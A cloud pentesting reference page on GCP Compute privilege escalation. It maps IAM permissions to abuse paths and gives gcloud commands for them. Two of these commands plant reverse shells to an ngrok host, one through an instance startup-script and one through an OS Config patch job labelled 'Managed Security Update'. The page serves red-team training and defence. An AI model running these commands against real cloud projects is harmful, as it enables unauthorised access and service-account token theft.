Sponsored

GCP - Compute Privesc

Compute

For more information about Compute and VPC (netowork) in GCP check:

GCP - Compute Enum

[!CAUTION] Note that to perform all the privilege escalation atacks that require to modify the metadata of the instance (like adding new users and SSH keys) it's needed that you have actAs permissions over the SA attached to the instance, even if the SA is already attached![2][27]

compute.projects.setCommonInstanceMetadata

With that permission you can modify the metadata information of an instance and change the authorized keys of a user, or create a new user with sudo permissions. Therefore, you will be able to exec via SSH into any VM instance and steal the GCP Service Account the Instance is running with.[3][5][10]
Limitations:

  • Note that GCP Service Accounts running in VM instances by default have a very limited scope[5]
  • You will need to be able to contact the SSH server to login

For more information about how to exploit this permission check:

GCP - Add Custom SSH Metadata

You could aslo perform this attack by adding new startup-script and rebooting the instance:[4]

gcloud compute instances add-metadata my-vm-instance \
    --metadata startup-script='#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18347 0>&1 &'

gcloud compute instances reset my-vm-instance

compute.instances.setMetadata

This permission gives the same privileges as the previous permission but over a specific instances instead to a whole project. The same exploits and limitations as for the previous section applies.[6][10]

compute.instances.setIamPolicy

This kind of permission will allow you to grant yourself a role with the previous permissions and escalate privileges abusing them. Here is an example adding roles/compute.admin to a Service Account:[7][8][9]

export SERVER_SERVICE_ACCOUNT=YOUR_SA
export INSTANCE=YOUR_INSTANCE
export ZONE=YOUR_INSTANCE_ZONE

cat <<EOF > policy.json
bindings:
- members:
  - serviceAccount:$SERVER_SERVICE_ACCOUNT
  role: roles/compute.admin
version: 1
EOF

gcloud compute instances set-iam-policy $INSTANCE policy.json --zone=$ZONE

[!TIP] Both OS Login paths below also require iam.serviceAccounts.actAs on the service account attached to the VM.[12][27]

compute.instances.osLogin

If OSLogin is enabled in the instance, with this permission you can just run gcloud compute ssh [INSTANCE] and connect to the instance. You won't have root privs inside the instance.[11][12][13]

compute.instances.osAdminLogin

If OS Login is enabled in the instance, with this permission you can just run gcloud compute ssh [INSTANCE] and connect to the instance. You will have root privs inside the instance.[11][12][13]

compute.instances.create,iam.serviceAccounts.actAs, compute.disks.create, compute.instances.create, compute.instances.setMetadata, compute.instances.setServiceAccount, compute.subnetworks.use, compute.subnetworks.useExternalIp

It's possible to create a virtual machine with an assigned Service Account and steal the token of the service account accessing the metadata to escalate privileges to it.[1][14][15]

The exploit script for this method can be found here.[1][14]

osconfig.patchDeployments.create | osconfig.patchJobs.exec

If you have the osconfig.patchDeployments.create or osconfig.patchJobs.exec permissions you can create a patch job or deployment. This will enable you to move laterally in the environment and gain code execution on all the compute instances within a project.[16][17][18][20]

Note that at the moment you don't need actAs permission over the SA attached to the instance.[16][17]

If you want to manually exploit this you will need to create either a patch job or deployment.[18][19][22][23]
For a patch job run:[17][18][20]

cat > /tmp/patch-job.sh <<EOF
#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18442 0>&1
EOF

gsutil cp /tmp/patch-job.sh gs://readable-bucket-by-sa-in-instance/patch-job.sh

# Get the generation number
gsutil ls -a gs://readable-bucket-by-sa-in-instance

gcloud --project=$PROJECT_ID compute os-config patch-jobs execute \
  --instance-filter-names=zones/us-central1-a/instances/<instance-name> \
  --pre-patch-linux-executable=gs://readable-bucket-by-sa-in-instance/patch-job.sh#<generation-number> \
  --reboot-config=never \
  --display-name="Managed Security Update" \
  --duration=300s

To deploy a patch deployment:[19][20]

gcloud compute os-config patch-deployments create <name> ...

The tool patchy could been used in the past for exploiting this misconfiguration (but now it's not working).[21]

An attacker could also abuse this for persistence.[20][21]

compute.machineImages.setIamPolicy

Grant yourself extra permissions to compute Image.[24]

compute.snapshots.setIamPolicy

Grant yourself extra permissions to a disk snapshot.[25]

compute.disks.setIamPolicy

Grant yourself extra permissions to a disk.[26]

Bypass Access Scopes

Following this link you find some ideas to try to bypass access scopes.

Local Privilege Escalation in GCP Compute instance

GCP - local privilege escalation ssh pivoting

References

[!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)
Browse the full HackTricks Training catalog.

Support HackTricks
Sponsored